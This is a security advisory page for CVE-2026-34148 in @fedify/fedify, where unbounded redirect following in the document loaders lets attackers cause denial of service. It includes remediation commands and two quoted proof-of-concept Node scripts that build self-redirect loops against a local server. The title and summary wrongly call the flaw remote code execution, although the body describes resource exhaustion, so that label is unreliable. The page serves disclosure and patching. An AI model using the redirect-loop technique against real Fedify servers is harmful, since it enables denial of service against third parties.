CVE-2026-34148: @fedify/fedify Remote Code Execution Vulnerability

HIGH
Advisory Identifier: GHSA-gm9m-gwc4-hwgp
CVSS 7.5
CWE-400 CWE-770
Published
Advisory Summary

CVE-2026-34148 is a HIGH (CVSS 7.5) remote code execution vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting @fedify/fedify libraries in the npm ecosystem. The issue involves fedify affected by resource exhaustion caused by unbounded redirect following during remote key/document resolution. Remediation is available by upgrading affected packages to version 1.9.6, 2.0.8, 2.1.1, 1.10.5.

CVE-2026-34148 at a Glance

CVE Identifier CVE-2026-34148
GHSA Identifier GHSA-gm9m-gwc4-hwgp
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-400: Uncontrolled Resource Consumption
Affected Product @fedify/fedify
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-34148

To remediate this vulnerability, upgrade all affected @fedify/fedify dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@fedify/fedify fixed: 1.9.6
npm install @fedify/fedify@1.9.6
@fedify/vocab-runtime fixed: 2.0.8
npm install @fedify/vocab-runtime@2.0.8
@fedify/vocab-runtime fixed: 2.1.1
npm install @fedify/vocab-runtime@2.1.1
@fedify/fedify fixed: 1.10.5
npm install @fedify/fedify@1.10.5
@fedify/fedify fixed: 2.0.8
npm install @fedify/fedify@2.0.8
@fedify/fedify fixed: 2.1.1
npm install @fedify/fedify@2.1.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @fedify/fedify

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-34148, inspect your project dependencies using npm:

npm ls @fedify/fedify

Analyze the terminal output to locate any version of @fedify/fedify in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.9.6), your application is affected.

Note: The npm ls @fedify/fedify command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In @fedify/fedify, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `@fedify/fedify` follows HTTP redirects recursively in its remote document loader and authenticated document loader without enforcing a maximum redirect count or visited-URL loop detection. An attacker who controls a remote ActivityPub key or actor URL can force a server using Fedify to make repeated outbound requests from a single inbound request, leading to resource consumption and denial of service. ### Details Fedify verifies ActivityPub HTTP signatures by fetching the remote `keyId` during request processing. The relevant flow is `handleInboxInternal()` -> `verifyRequest()` -> `fetchKeyInternal()` -> document loader. In affected versions: - the generic document loader recursively follows `3xx` responses by calling `load()` again on the `Location` header - the authenticated redirect path (`doubleKnock()`) also recursively follows redirects - neither path enforces a redirect cap or tracks visited URLs to detect self-referential redirect loops As a result, if an attacker-controlled `keyId` or actor URL responds with `302 Location: <same URL>`, a single ActivityPub request can trigger tens or hundreds of outbound requests before the fetch completes or the request times out. I confirmed the issue in `@fedify/fedify` 1.9.1 and 1.9.2. By contrast, Fedify's WebFinger lookup path already has a redirect cap, which suggests the missing bound in the document loader is unintended. Failed key fetches are not durably negatively cached. After a failed lookup, the null result is only remembered in a request-local cache, so later requests can trigger the same redirect loop again for the same `keyId`. ### PoC Minimal direct reproduction with the package: 1. Install `@fedify/fedify@1.9.2`. 2. Save and run the following script: ```js import http from "node:http"; import { getDocumentLoader } from "@fedify/fedify"; const port = 45679; let count = 0; const redirectCount = 120; const server = http.createServer((req, res) => { count += 1; if (count < redirectCount) { res.writeHead(302, { Location: `http://127.0.0.1:${port}/actor`, }); res.end(); return; } res.writeHead(200, { "Content-Type": "application/activity+json" }); res.end(JSON.stringify({ "@context": "https://www.w3.org/ns/activitystreams", "id": `http://127.0.0.1:${port}/actor`, "type": "Person" })); }); await new Promise((resolve) => server.listen(port, "127.0.0.1", resolve)); try { const loader = getDocumentLoader({ allowPrivateAddress: true }); await loader(`http://127.0.0.1:${port}/actor`); console.log({ count }); } finally { server.close(); } ``` 3. Observe output similar to: ``` { count: 120 } ``` This shows the loader followed 119 self-redirects before the first non-redirect response. The authenticated loader used for signed requests shows the same behavior: ``` import http from "node:http"; import { generateCryptoKeyPair, getAuthenticatedDocumentLoader, } from "@fedify/fedify"; const port = 45680; let count = 0; const redirectCount = 120; const server = http.createServer((req, res) => { count += 1; if (count < redirectCount) { res.writeHead(302, { Location: `http://127.0.0.1:${port}/actor`, }); res.end(); return; } res.writeHead(200, { "Content-Type": "application/activity+json" }); res.end(JSON.stringify({ "@context": "https://www.w3.org/ns/activitystreams", "id": `http://127.0.0.1:${port}/actor`, "type": "Person" })); }); await new Promise((resolve) => server.listen(port, "127.0.0.1", resolve)); try { const { privateKey } = await generateCryptoKeyPair(); const loader = getAuthenticatedDocumentLoader( { privateKey, keyId: new URL("https://example.com/users/index#main-key"), }, { allowPrivateAddress: true }, ); await loader(`http://127.0.0.1:${port}/actor`); console.log({ count }); } finally { server.close(); } ``` ### Impact This is an unauthenticated denial-of-service / request amplification issue. Any Fedify-based server that verifies remote keys or loads remote ActivityPub documents can be forced to spend CPU time, worker time, connection slots, and outbound bandwidth following attacker-controlled redirects. A single inbound request can trigger a large number of outbound requests, and the attack can be repeated across requests because failed lookups are not durably negatively cached. ### Misc Notes This issue was surfaced by a Ghost ActivityPub user reporting the issue directly to Ghost. The above report was generated upon further investigation into the issue by the Ghost team. We credit @wrathsec for the discovery.

CVE-2026-34148 Affected @fedify/fedify Versions

6 component(s)
Fixed Versions:
1.9.62.0.82.1.11.10.5
Product / Package Ecosystem Affected Versions Fixed Version
@fedify/fedify
npm
< 1.9.6
1.9.6
@fedify/vocab-runtime
npm
< 2.0.8
2.0.8
@fedify/vocab-runtime
npm
≥ 2.1.0
< 2.1.1
All 1 versions
2.1.0
2.1.1
@fedify/fedify
npm
≥ 1.10.0
< 1.10.5
1.10.5
@fedify/fedify
npm
≥ 2.0.0
< 2.0.8
2.0.8
@fedify/fedify
npm
< 2.1.1
≥ 2.1.0
All 1 versions
2.1.0
2.1.1

References

Frequently Asked Questions

What is CVE-2026-34148?
CVE-2026-34148 is a security vulnerability in @fedify/fedify involving Fedify affected by resource exhaustion caused by unbounded redirect following during remote key/document resolution under CWE-400: Uncontrolled Resource Consumption.
Which @fedify/fedify versions are affected?
Affected versions include releases prior to 1.9.6, 2.0.8, 2.1.1, 1.10.5 across affected packages: @fedify/fedify, @fedify/vocab-runtime.
What version fixes CVE-2026-34148?
Upgrading to 1.9.6, 2.0.8, 2.1.1, 1.10.5 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @fedify/fedify affected?
Yes, @fedify/fedify is affected in releases prior to 1.9.6, 1.10.5, 2.0.8, 2.1.1. Upgrade your dependency to 1.9.6, 1.10.5, 2.0.8, 2.1.1 or later.
Is @fedify/vocab-runtime affected?
Yes, @fedify/vocab-runtime is affected in releases prior to 2.0.8, 2.1.1. Upgrade your dependency to 2.0.8, 2.1.1 or later.
What is the CVSS score of CVE-2026-34148?
CVE-2026-34148 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-34148?
CVE-2026-34148 is classified under CWE-400: Uncontrolled Resource Consumption (The product does not properly control the allocation and maintenance of a limited resource.).
How can I check npm dependencies for CVE-2026-34148?
Run the dependency tree command: 'npm ls @fedify/fedify'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-gm9m-gwc4-hwgp",
  "modified" : "2026-06-09T11:00:52Z",
  "published" : "2026-04-07T18:04:09Z",
  "aliases" : [ "CVE-2026-34148" ],
  "summary" : "Fedify affected by resource exhaustion caused by unbounded redirect following during remote key/document resolution",
  "details" : "### Summary\n\n`@fedify/fedify` follows HTTP redirects recursively in its remote document loader and authenticated document loader without enforcing a maximum redirect count or visited-URL loop detection. An attacker who controls a remote ActivityPub key or actor URL can force a server using Fedify to make repeated outbound requests from a single inbound request, leading to resource consumption and denial of service.\n\n### Details\n\nFedify verifies ActivityPub HTTP signatures by fetching the remote `keyId` during request processing. The relevant flow is `handleInboxInternal()` -> `verifyRequest()` -> `fetchKeyInternal()` -> document loader.\n\nIn affected versions:\n- the generic document loader recursively follows `3xx` responses by calling `load()` again on the `Location` header\n- the authenticated redirect path (`doubleKnock()`) also recursively follows redirects\n- neither path enforces a redirect cap or tracks visited URLs to detect self-referential redirect loops\n\nAs a result, if an attacker-controlled `keyId` or actor URL responds with `302 Location: <same URL>`, a single ActivityPub request can trigger tens or hundreds of outbound requests before the fetch completes or the request times out.\n\nI confirmed the issue in `@fedify/fedify` 1.9.1 and 1.9.2. By contrast, Fedify's WebFinger lookup path already has a redirect cap, which suggests the missing bound in the document loader is unintended.\n\nFailed key fetches are not durably negatively cached. After a failed lookup, the null result is only remembered in a request-local cache, so later requests can trigger the same redirect loop again for the same `keyId`.\n\n### PoC\n\nMinimal direct reproduction with the package:\n\n1. Install `@fedify/fedify@1.9.2`.\n2. Save and run the following script:\n\n```js\nimport http from \"node:http\";\nimport { getDocumentLoader } from \"@fedify/fedify\";\n\nconst port = 45679;\nlet count = 0;\nconst redirectCount = 120;\n\nconst server = http.createServer((req, res) => {\n  count += 1;\n\n  if (count < redirectCount) {\n    res.writeHead(302, {\n      Location: `http://127.0.0.1:${port}/actor`,\n    });\n    res.end();\n    return;\n  }\n\n  res.writeHead(200, { \"Content-Type\": \"application/activity+json\" });\n  res.end(JSON.stringify({\n    \"@context\": \"https://www.w3.org/ns/activitystreams\",\n    \"id\": `http://127.0.0.1:${port}/actor`,\n    \"type\": \"Person\"\n  }));\n});\n\nawait new Promise((resolve) => server.listen(port, \"127.0.0.1\", resolve));\n\ntry {\n  const loader = getDocumentLoader({ allowPrivateAddress: true });\n  await loader(`http://127.0.0.1:${port}/actor`);\n  console.log({ count });\n} finally {\n  server.close();\n}\n```\n\n3. Observe output similar to:\n\n```\n{ count: 120 }\n```\n\nThis shows the loader followed 119 self-redirects before the first non-redirect response.\n\nThe authenticated loader used for signed requests shows the same behavior:\n\n```\nimport http from \"node:http\";\nimport {\n  generateCryptoKeyPair,\n  getAuthenticatedDocumentLoader,\n} from \"@fedify/fedify\";\n\nconst port = 45680;\nlet count = 0;\nconst redirectCount = 120;\n\nconst server = http.createServer((req, res) => {\n  count += 1;\n\n  if (count < redirectCount) {\n    res.writeHead(302, {\n      Location: `http://127.0.0.1:${port}/actor`,\n    });\n    res.end();\n    return;\n  }\n\n  res.writeHead(200, { \"Content-Type\": \"application/activity+json\" });\n  res.end(JSON.stringify({\n    \"@context\": \"https://www.w3.org/ns/activitystreams\",\n    \"id\": `http://127.0.0.1:${port}/actor`,\n    \"type\": \"Person\"\n  }));\n});\n\nawait new Promise((resolve) => server.listen(port, \"127.0.0.1\", resolve));\n\ntry {\n  const { privateKey } = await generateCryptoKeyPair();\n  const loader = getAuthenticatedDocumentLoader(\n    {\n      privateKey,\n      keyId: new URL(\"https://example.com/users/index#main-key\"),\n    },\n    { allowPrivateAddress: true },\n  );\n\n  await loader(`http://127.0.0.1:${port}/actor`);\n  console.log({ count });\n} finally {\n  server.close();\n}\n```\n\n### Impact\n\nThis is an unauthenticated denial-of-service / request amplification issue. Any Fedify-based server that verifies remote keys or loads remote ActivityPub documents can be forced to spend CPU time, worker time, connection slots, and outbound bandwidth following attacker-controlled redirects. A single inbound request can trigger a large number of outbound requests, and the attack can be repeated across requests because failed lookups are not durably negatively cached.\n\n### Misc Notes\n\nThis issue was surfaced by a Ghost ActivityPub user reporting the issue directly to Ghost. The above report was generated upon further investigation into the issue by the Ghost team. We credit @wrathsec for the discovery.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@fedify/fedify"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.9.6"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@fedify/vocab-runtime"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.0.8"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@fedify/vocab-runtime"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.1.0"
      }, {
        "fixed" : "2.1.1"
      } ]
    } ],
    "versions" : [ "2.1.0" ]
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@fedify/fedify"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.10.0"
      }, {
        "fixed" : "1.10.5"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@fedify/fedify"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.0.0"
      }, {
        "fixed" : "2.0.8"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@fedify/fedify"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.1.0"
      }, {
        "fixed" : "2.1.1"
      } ]
    } ],
    "versions" : [ "2.1.0" ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/fedify-dev/fedify/security/advisories/GHSA-gm9m-gwc4-hwgp"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-34148"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/fedify-dev/fedify"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/fedify-dev/fedify/releases/tag/1.10.5"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/fedify-dev/fedify/releases/tag/1.9.6"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/fedify-dev/fedify/releases/tag/2.0.8"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/fedify-dev/fedify/releases/tag/2.1.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-400", "CWE-770" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-07T18:04:09Z",
    "nvd_published_at" : "2026-04-06T16:16:34Z"
  }
}